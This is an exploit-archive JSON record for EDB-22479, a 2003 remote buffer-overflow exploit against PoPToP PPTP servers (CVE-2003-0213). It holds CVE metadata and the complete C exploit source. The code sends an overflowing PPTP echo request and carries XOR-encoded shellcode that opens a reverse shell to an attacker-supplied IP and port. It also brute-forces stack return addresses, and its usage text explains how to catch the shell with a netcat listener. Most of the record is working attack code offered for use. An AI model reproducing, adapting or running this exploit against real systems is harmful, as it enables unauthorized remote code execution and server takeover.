{"exploit":{"id":"EDB-22479","name":"PoPToP PPTP 1.0/1.1.x - Negative 'read()' Argument Remote Buffer Overflow","description":"PoPToP PPTP 1.0/1.1.x - Negative 'read()' Argument Remote Buffer Overflow","cves":["CVE-2003-0213"],"author":"John Leach","published":"2003-04-09","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/22479","path":"exploits/linux/remote/22479.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-22479.c","vulnerabilities":[{"id":"CVE-2003-0213","state":"PUBLISHED","title":null,"titleSource":null,"description":"ctrlpacket.c in PoPToP PPTP server before 1.1.4-b3 allows remote attackers to cause a denial of service via a length field of 0 or 1, which causes a negative value to be fed into a read operation, leading to a buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0213","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0213"},"updatedAt":"2024-08-08T01:43:36.037Z","retrievedAt":"2026-11-27T16:08:42.079Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-22479.png?v=2","url":"https://exploitbin.com/exploits/EDB-22479","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-22479/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-22479/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/7316/info\n\nA buffer-overflow vulnerability has been discovered in PoPToP PPTP. The problem occurs because the software fails to do sufficient sanity checks when referencing user-supplied input used in various calculations. As a result, an attacker may be able to trigger a condition that would corrupt sensitive memory.\n\nSuccessful exploits of this issue may allow attackers to execute arbitrary code with the privileges of the affected server.\n\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <stdio.h>\n#include <netinet/in.h>\n#include <errno.h>\n\n/* Ported to Linux by John Leach <john@johnleach.nospam.co.uk> */\n\ntypedef int SOCKET;\ntypedef unsigned short WORD;\ntypedef unsigned int DWORD;\n\n\nchar shellcode[] =\n\n\"\\x1a\\x76\\xa2\\x41\\x21\\xf5\\x1a\\x43\\xa2\\x5a\\x1a\\x58\\xd0\\x1a\\xce\\x6b\"\n\"\\xd0\\x1a\\xce\\x67\\xd8\\x1a\\xde\\x6f\\x1e\\xde\\x67\\x5e\\x13\\xa2\\x5a\\x1a\"\n\"\\xd6\\x67\\xd0\\xf5\\x1a\\xce\\x7f\\xf5\\x54\\xd6\\x7d\"\n\n\"\\x01\\x01\" // port\n\n\"\\x54\\xd6\\x63\"\n\n\"\\x01\\x01\\x01\\x01\" // ip address\n\n\"\\x1e\\xd6\\x7f\\x1a\\xd6\\x6b\\x55\\xd6\\x6f\\x83\\x1a\\x43\\xd0\\x1e\\xde\\x67\"\n\"\\x5e\\x13\\xa2\\x5a\\x03\\x18\\xce\\x67\\xa2\\x53\\xbe\\x52\\x6c\\x6c\\x6c\\x5e\"\n\"\\x13\\xd2\\xa2\\x41\\x12\\x79\\x6e\\x6c\\x6c\\x6c\\xaa\\x42\\xe6\\x79\\x78\\x8b\"\n\"\\xcd\\x1a\\xe6\\x9b\\xa2\\x53\\x1b\\xd5\\x94\\x1a\\xd6\\x9f\\x23\\x98\\x1a\\x60\"\n\"\\x1e\\xde\\x9b\\x1e\\xc6\\x9f\\x5e\\x13\\x7b\\x70\\x6c\\x6c\\x6c\\xbc\\xf1\\xfa\"\n\"\\xfd\\xbc\\xe0\\xfb\";\n\n\n\n\nstruct pptp_header {\n        u_int16_t length;               /* pptp message length incl header */\n        u_int16_t pptp_type;            /* pptp message type */\n        u_int32_t magic;                /* magic cookie */\n        u_int16_t ctrl_type;            /* control message type */\n        u_int16_t reserved0;            /* reserved */\n};\n\n#define MAX_HOSTNAME_SIZE               64\n#define MAX_VENDOR_SIZE                 64\n#define PPTP_VERSION                    0x0100\n\nstruct pptp_start_ctrl_conn_rqst {\n        struct pptp_header header;      /* pptp header */\n        u_int16_t version;              /* pptp protocol version */\n        u_int16_t reserved1;            /* reserved */\n        u_int32_t framing_cap;          /* framing capabilities */\n        u_int32_t bearer_cap;           /* bearer capabilities */\n        u_int16_t max_channels;         /* maximum channels */\n        u_int16_t firmware_rev;         /* firmware revision */\n        u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */\n        u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */\n};\n\nstruct pptp_echo_rqst {\n        struct pptp_header header;      /* header */\n        u_int32_t identifier;           /* value to match rply with rqst */\n                                char buf[10000];\n};\n\nstruct pptp_reply {\n\tstruct pptp_header header;      /* header */\n\tchar buf[10000];\n};\n\n\n/* Magic Cookie */\n#define PPTP_MAGIC_COOKIE               0x1a2b3c4d\n\n/* Message types */\n#define PPTP_CTRL_MESSAGE               1\n\n/* Control Connection Management */\n#define START_CTRL_CONN_RQST            1\n#define START_CTRL_CONN_RPLY            2\n#define STOP_CTRL_CONN_RQST             3\n#define STOP_CTRL_CONN_RPLY             4\n#define ECHO_RQST                       5\n#define ECHO_RPLY                       6\n\n// brute force values\n#define TOPOFSTACK 0xbfffffff\n#define BOTTOMOFSTACK 0xbf000000\n#define STEP 50\n\nvoid send_init_request(SOCKET st)\n{\n        struct pptp_start_ctrl_conn_rqst request;\n  \trequest.header.magic = htonl(PPTP_MAGIC_COOKIE);\n  \trequest.header.pptp_type = htons(PPTP_CTRL_MESSAGE);\n        request.header.ctrl_type = htons(START_CTRL_CONN_RQST);\n\n  \trequest.version = PPTP_VERSION;\n        request.framing_cap = 0;\n        request.bearer_cap = 0;\n        request.max_channels = 1;\n        request.firmware_rev = 0;\n  \tstrcpy(request.hostname,\"hell\");\n        strcpy(request.vendor,\"domain HELL\");\n  \trequest.header.length = ntohs(sizeof(request));\n\n        send(st,(char*)&request,sizeof(request),0);\n\n}\n\nvoid send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)\n{\n\tint i;\n  \tstruct pptp_echo_rqst ping;\n        ping.header.magic = htonl(PPTP_MAGIC_COOKIE);\n  \tping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);\n        ping.header.ctrl_type = htons(ECHO_RQST);\n        ping.identifier = 111;\n\n        ping.header.length = ntohs(1);\n\n\n        strcpy(ping.buf,\"\");\n\n        int buflen = 500;\n        for (i=0;i<buflen;i++) strcat(ping.buf,\"\\x90\");\n        memcpy(ping.buf+364,(char*)&ret,4);\n\n        // patch shellcode\n        // we have a shellcode xored by 0x93.. let's unxor it :)\n        for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;\n\n        *(unsigned short int*)(shellcode+43) = htons(port);\n\n  \t*(unsigned long int*)(shellcode+48) = inet_addr(hostname);\n\n        // we leave 100 bytes for NOPs\n        memcpy(ping.buf+100,shellcode,sizeof(shellcode));\n\n        send(st,(char*)&ping,sizeof(ping.header)+buflen,0);\n\n}\n\nSOCKET st;\n\nint connect_server(char* hostname)\n{\n        st=socket(PF_INET,SOCK_STREAM,0);\n        if (st==-1) return 0;\n\n        struct sockaddr_in addr;\n\n        addr.sin_family=AF_INET;\n        addr.sin_port=0;\n        addr.sin_addr.s_addr=0;\n        bind(st, (struct sockaddr*)&addr,sizeof(addr));\n\n\n        addr.sin_family=AF_INET;\n        addr.sin_port=htons(1723);\n        addr.sin_addr.s_addr=inet_addr(hostname);\n        printf(\"connecting... \");\n        if (connect(st,(struct sockaddr*)&addr,sizeof(addr)) != 0)\n        {\n\t\tperror(\"connect()\");\n                return 0;\n        }\n        return 1;\n}\n\nint main(int argc, char** argv)\n{\n        printf(\"\\n\");\n        printf(\"                   D  H     H                            \\n\");\n        printf(\"                   D  H     H     T\\n\");\n        printf(\"                   D  H  H  H     T     EE    AA   M   M \\n\");\n        printf(\"               DDD D  HHHHHHH     T    E  E  A  A  MM MM \\n\");\n        printf(\"              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \\n\");\n        printf(\"             D     D  H     H     T    EEE   AAAA  M M M \\n\");\n        printf(\"              D    D  H     H     T    E     A  A  M   M \\n\");\n        printf(\"               DDDD   H     H      TTT  EEE  A  A  M   M   \");\n        printf(\" ... presents ... \\n\\n\");\n  \tprintf(\"Exploit for PoPToP PPTP server older than \\n1.1.4-b3 and 1.1.3-20030409 under Linux.\\n\");\n        printf(\"by .einstein., April 2003.\\n\");\n        printf(\"\\n\");\n  if (argc < 2)\n  {\n        printf(\"usage: \\n\");\n        printf(\"  %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\\n\\n\",argv[0]);\n        printf(\"    <pptp_server> is the ip address or hostname of the PoPToP server\\n\");\n        printf(\"      you want to attack.  Port 1723 is used for connection\\n\");\n        printf(\"    <your_ip> and <your_port> - specify an ip address to which\\n\");\n        printf(\"      a connection is possible to port <your_port> and set up a\\n\");\n        printf(\"      netcat listener. You'll get a reverse shell.\\n\");\n        printf(\"    <timeout> is a delay between stack bruteforce attemts, in milliseconds\\n\");\n        printf(\"   If you only pass a single parameter, the program will check\\n\");\n        printf(\"   whether remote server is vulnerable or not. Otherwise it will\\n\");\n        printf(\"   perform a ret bruteforce.\\n\");\n        printf(\"usage examples:\\n\");\n        printf(\"  %s 192.168.1.2 192.168.1.1 5555\\n\",argv[0]);\n        printf(\"    attack 192.168.1.2 and get a reverse shell on port 5555\\n\");\n        printf(\"  %s 127.0.0.1 127.0.0.1 6666 100\\n\",argv[0]);\n        printf(\"    attack a locally running pptpd with a timeout of 100 ms\\n\");\n        printf(\"    and get a shell on port 6666.\\n\");\n        printf(\"  %s 192.168.1.56\\n\",argv[0]);\n        printf(\"    check if the PoPToP server on 192.168.1.56 is vulnerable.\\n\");\n\treturn 0;\n  }\n\n\n  int timeout = 500;\n  if (argc >= 5) timeout = atoi(argv[4]);\n\n        DWORD ret;\n        if (argc == 2)\n        {\n                if (!connect_server(argv[1])) return 1;\n\n                printf(\"\\nChecking if the server is vulnerable..\\n\");\n                printf(\"(if it is you have to wait 65 seconds)..\\n\");\n                send_init_request(st);\n\n                ret = 0x01010101;\n                int bytes;\n                struct pptp_reply reply;\n\n                //header length\n                bytes = recv(st,(char*)&reply,2,0);\n                bytes = ntohs(reply.header.length);\n                bytes = recv(st,(char*)&reply+2,bytes-2,0);\n                int j = htons(reply.header.ctrl_type);\n                send_ping_overflow(st,ret,\"0.0.0.0\",0);\n\n                //header length\n                bytes = recv(st,(char*)&reply,2,0);\n                printf(\"PoPToP server is \");\n                if (bytes != -1) printf(\"vulnerable!\\n\");\n                else printf(\"not vulnerable\\n\");\n                close(st);\n\n                return 1;\n        }\n\n        printf(\"[!] Attempting bruteforce against %s\\n\",argv[1]);\n        printf(\"interrupt when you get a shell to %s on port %d...\\n\\n\",argv[2],atoi(argv[3]));\n\n        int checked = 0;\n\n        for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)\n        {\n          \tprintf(\"[*] \");\n                if (!connect_server(argv[1])) return 1;\n        \tprintf(\"[ret=0x%x]..\",ret);\n        \tprintf(\"sending payload..\");\n\n                // initial packet\n                send_init_request(st);\n\n                //a real overflowing ping packet\n          \tsend_ping_overflow(st,ret,argv[2],atoi(argv[3]));\n                close(st);\n\n                sleep(timeout);\n                printf(\"done\\n\");\n        }\n\n        return 0;\n}","sha256":"eb6ae5a6a5aa620daa44af9e9d51f40e1c13d84df535d86fa9a6465b6d86ca74","bytes":9556,"fetchedAt":"2026-11-27T18:07:38.350Z","encoding":"utf-8 (display only; download retains original bytes)"}